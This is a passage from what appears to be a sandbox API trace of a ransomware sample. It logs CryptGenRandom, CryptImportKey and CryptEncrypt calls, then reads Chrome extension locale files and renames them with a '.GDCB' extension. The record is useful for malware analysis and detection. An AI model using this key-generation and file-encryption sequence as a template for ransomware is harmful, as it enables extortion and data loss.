CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.934] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.937] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67930e0) returned 1 [0262.937] CryptGetKeyParam (in: hKey=0x67930e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.937] CryptEncrypt (in: hKey=0x67930e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0262.937] GetLastError () returned 0x0 [0262.937] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.937] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.939] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793120) returned 1 [0262.939] CryptGetKeyParam (in: hKey=0x6793120, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.939] CryptEncrypt (in: hKey=0x6793120, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0262.939] GetLastError () returned 0x0 [0262.939] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.939] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0262.940] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0262.943] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0262.945] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0262.953] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0262.960] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json.gdcb")) returned 1 [0262.965] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0262.968] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.970] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.970] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0262.970] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.970] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.973] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.975] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.975] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0262.975] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.975] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0262.977] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793460) returned 1 [0262.977] CryptGetKeyParam (in: hKey=0x6793460, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.977] CryptEncrypt (in: hKey=0x6793460, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0262.978] GetLastError () returned 0x0 [0262.978] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.978] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.979] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793520) returned 1 [0262.980] CryptGetKeyParam (in: hKey=0x6793520, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.980] CryptEncrypt (in: hKey=0x6793520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0262.980] GetLastError () returned 0x0 [0262.980] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.980] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0262.981] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0262.983] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0262.986] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x9f, lpOverlapped=0x0) returned 1 [0262.994] VirtualAlloc (lpAddress=0x0, dwSize=0xa0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0263.001] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json.gdcb")) returned 1 [0263.007] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0263.010] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.012] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.012] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0263.012] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.012] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0263.014] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.016] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.017] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0263.017] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.017] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.019] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793560) returned 1 [0263.020] CryptGetKeyParam (in: hKey=0x6793560, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.020] CryptEncrypt (in: hKey=0x6793560, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0263.020] GetLastError () returned 0x0 [0263.020] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.020] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.022] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793ba0) returned 1 [0263.022] CryptGetKeyParam (in: hKey=0x6793ba0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.022] CryptEncrypt (in: hKey=0x6793ba0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0263.022] GetLastError () returned 0x0 [0263.022] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.022] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0263.023] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0263.026] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0263.029] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0263.038] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0263.051] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json.gdcb")) returned 1 [0263.056] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0263.059] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.061] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.061] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0263.061] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.062] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0263.064] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.066] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.066] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0263.066] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.067] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.069] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793f20) returned 1 [0263.069] CryptGetKeyParam (in: hKey=0x6793f20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.069] CryptEncrypt (in: hKey=0x6793f20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0263.069] GetLastError () returned 0x0 [0263.069] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.069] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0263.071] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67939a0) returned 1 [0263.071] CryptGetKeyParam (in: hKey=0x67939a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.071] CryptEncrypt (in: hKey=0x67939a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0263.071] GetLastError () returned 0x0 [0263.071] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0263.071] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0263.072] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0263.075] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0263.077] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0263.086] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0263.097] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json.gdcb")) returned 1 [0263.103] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0263.106] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.108] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.108] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0263.108] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.108] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0263.110] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.112] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.112] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0263.112] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.113] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.115] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793a20) returned 1 [0263.115] CryptGetKeyParam (in: hKey=0x6793a20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.115] CryptEncrypt (in: hKey=0x6793a20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0263.115] GetLastError () returned 0x0 [0263.115] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.115] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.117] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793ae0) returned 1 [0263.117] CryptGetKeyParam (in: hKey=0x6793ae0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.117] CryptEncrypt (in: hKey=0x6793ae0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0263.117] GetLastError () returned 0x0 [0263.117] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.117] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0263.119] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0263.121] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0263.123] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0263.132] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0263.138] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json.gdcb")) returned 1 [0263.143] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0263.146] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.149] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.149] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0263.149] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.149] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0263.151] GetModuleHandleA (lpModuleName="Advapi32.dll") 